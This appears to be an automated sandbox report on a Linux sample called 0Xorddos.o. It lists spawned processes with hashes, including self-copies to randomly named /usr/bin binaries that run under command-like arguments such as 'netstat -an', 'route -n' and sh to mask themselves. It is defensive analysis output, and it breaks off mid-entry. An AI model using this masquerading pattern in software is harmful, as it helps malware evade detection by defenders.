Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5314, Parent PID: 5313

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: zareoppgxh PID: 5314, Parent PID: 5313

General

Start time:	21:21:46
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	/usr/bin/zareoppgxh id 5222
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: zareoppgxh PID: 5318, Parent PID: 5314

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5316, Parent PID: 5222

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5317, Parent PID: 5316

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: zareoppgxh PID: 5317, Parent PID: 5316

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	/usr/bin/zareoppgxh id 5222
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: zareoppgxh PID: 5321, Parent PID: 5317

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5319, Parent PID: 5222

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5320, Parent PID: 5319

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: zareoppgxh PID: 5320, Parent PID: 5319

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	/usr/bin/zareoppgxh "netstat -an" 5222
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: zareoppgxh PID: 5322, Parent PID: 5320

General

Start time:	21:21:47
Start date:	14/03/2022
Path:	/usr/bin/zareoppgxh
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	8bd739bbc978f1311f3459fae05bbefd

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5326, Parent PID: 5222

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5327, Parent PID: 5326

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5327, Parent PID: 5326

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	/usr/bin/cvltgpdmgk gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5328, Parent PID: 5327

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5329, Parent PID: 5222

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5330, Parent PID: 5329

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5330, Parent PID: 5329

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	/usr/bin/cvltgpdmgk "ps -ef" 5222
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5331, Parent PID: 5330

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5332, Parent PID: 5222

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5333, Parent PID: 5332

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5333, Parent PID: 5332

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	/usr/bin/cvltgpdmgk ls 5222
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5336, Parent PID: 5333

General

Start time:	21:21:53
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5334, Parent PID: 5222

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5335, Parent PID: 5334

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5335, Parent PID: 5334

General

Start time:	21:21:52
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	/usr/bin/cvltgpdmgk top 5222
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5339, Parent PID: 5335

General

Start time:	21:21:53
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5337, Parent PID: 5222

General

Start time:	21:21:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5338, Parent PID: 5337

General

Start time:	21:21:53
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5338, Parent PID: 5337

General

Start time:	21:21:53
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	/usr/bin/cvltgpdmgk "netstat -antop" 5222
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: cvltgpdmgk PID: 5342, Parent PID: 5338

General

Start time:	21:21:54
Start date:	14/03/2022
Path:	/usr/bin/cvltgpdmgk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	868c28a2f8b2ca95f48a4e00a2889e23

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5345, Parent PID: 5222

General

Start time:	21:21:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5346, Parent PID: 5345

General

Start time:	21:21:59
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5346, Parent PID: 5345

General

Start time:	21:21:59
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	/usr/bin/tngemhgnzk ifconfig 5222
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5347, Parent PID: 5346

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5348, Parent PID: 5222

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5349, Parent PID: 5348

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5349, Parent PID: 5348

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	/usr/bin/tngemhgnzk "route -n" 5222
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5352, Parent PID: 5349

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5350, Parent PID: 5222

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5351, Parent PID: 5350

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5351, Parent PID: 5350

General

Start time:	21:22:00
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	/usr/bin/tngemhgnzk "route -n" 5222
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5355, Parent PID: 5351

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5353, Parent PID: 5222

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5354, Parent PID: 5353

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5354, Parent PID: 5353

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	/usr/bin/tngemhgnzk "cat resolv.conf" 5222
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5358, Parent PID: 5354

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5356, Parent PID: 5222

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5357, Parent PID: 5356

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5357, Parent PID: 5356

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	/usr/bin/tngemhgnzk "grep \"A\"" 5222
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: tngemhgnzk PID: 5359, Parent PID: 5357

General

Start time:	21:22:01
Start date:	14/03/2022
Path:	/usr/bin/tngemhgnzk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	67d9c73d144874e910413a9ff5f8be8d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5363, Parent PID: 5222

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5364, Parent PID: 5363

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: njezqqgxiu PID: 5364, Parent PID: 5363

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	/usr/bin/njezqqgxiu sh 5222
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: njezqqgxiu PID: 5365, Parent PID: 5364

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5366, Parent PID: 5222

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5367, Parent PID: 5366

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: njezqqgxiu PID: 5367, Parent PID: 5366

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	/usr/bin/njezqqgxiu "route -n" 5222
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: njezqqgxiu PID: 5368, Parent PID: 5367

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5369, Parent PID: 5222

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5370, Parent PID: 5369

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: njezqqgxiu PID: 5370, Parent PID: 5369

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	/usr/bin/njezqqgxiu "ls -la" 5222
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: njezqqgxiu PID: 5373, Parent PID: 5370

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5371, Parent PID: 5222

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5372, Parent PID: 5371

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: njezqqgxiu PID: 5372, Parent PID: 5371

General

Start time:	21:22:07
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	/usr/bin/njezqqgxiu "ifconfig eth0" 5222
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: njezqqgxiu PID: 5376, Parent PID: 5372

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5374, Parent PID: 5222

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5375, Parent PID: 5374

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: njezqqgxiu PID: 5375, Parent PID: 5374

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	/usr/bin/njezqqgxiu "netstat -an" 5222
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: njezqqgxiu PID: 5377, Parent PID: 5375

General

Start time:	21:22:08
Start date:	14/03/2022
Path:	/usr/bin/njezqqgxiu
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	1e085bdf101bbe4f3c0dd1fe168620df

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5384, Parent PID: 5222

General

Start time:	21:22:13
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5385, Parent PID: 5384

General

Start time:	21:22:13
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5385, Parent PID: 5384

General

Start time:	21:22:13
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	/usr/bin/wzulpfbuxk id 5222
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5386, Parent PID: 5385

General

Start time:	21:22:13
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5387, Parent PID: 5222

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5388, Parent PID: 5387

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5388, Parent PID: 5387

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	/usr/bin/wzulpfbuxk ls 5222
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5391, Parent PID: 5388

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5389, Parent PID: 5222

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5390, Parent PID: 5389

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5390, Parent PID: 5389

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	/usr/bin/wzulpfbuxk "route -n" 5222
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5394, Parent PID: 5390

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5392, Parent PID: 5222

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5393, Parent PID: 5392

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5393, Parent PID: 5392

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	/usr/bin/wzulpfbuxk id 5222
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5397, Parent PID: 5393

General

Start time:	21:22:15
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5395, Parent PID: 5222

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5396, Parent PID: 5395

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5396, Parent PID: 5395

General

Start time:	21:22:14
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	/usr/bin/wzulpfbuxk gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: wzulpfbuxk PID: 5398, Parent PID: 5396

General

Start time:	21:22:15
Start date:	14/03/2022
Path:	/usr/bin/wzulpfbuxk
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	3544260d47adf075442cc29318bed673

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5401, Parent PID: 5222

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5402, Parent PID: 5401

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: aoyymackpm PID: 5402, Parent PID: 5401

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	/usr/bin/aoyymackpm sh 5222
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: aoyymackpm PID: 5403, Parent PID: 5402

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5404, Parent PID: 5222

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5405, Parent PID: 5404

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: aoyymackpm PID: 5405, Parent PID: 5404

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	/usr/bin/aoyymackpm "netstat -antop" 5222
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: aoyymackpm PID: 5406, Parent PID: 5405

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5407, Parent PID: 5222

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5408, Parent PID: 5407

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: aoyymackpm PID: 5408, Parent PID: 5407

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	/usr/bin/aoyymackpm "echo \"find\"" 5222
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: aoyymackpm PID: 5409, Parent PID: 5408

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	n/a
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5410, Parent PID: 5222

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: 0Xorddos.o PID: 5411, Parent PID: 5410

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/tmp/0Xorddos.o
Arguments:	n/a
File size:	625900 bytes
MD5 hash:	da818861f56900f552eb04c5e7d8c59d

Chronological Activities

Analysis Process: aoyymackpm PID: 5411, Parent PID: 5410

General

Start time:	21:22:20
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
Arguments:	/usr/bin/aoyymackpm gnome-terminal 5222
File size:	625911 bytes
MD5 hash:	4b35d88168505669df2e8ba08379e487

Chronological Activities

Analysis Process: aoyymackpm PID: 5414, Parent PID: 5411

General

Start time:	21:22:21
Start date:	14/03/2022
Path:	/usr/bin/aoyymackpm
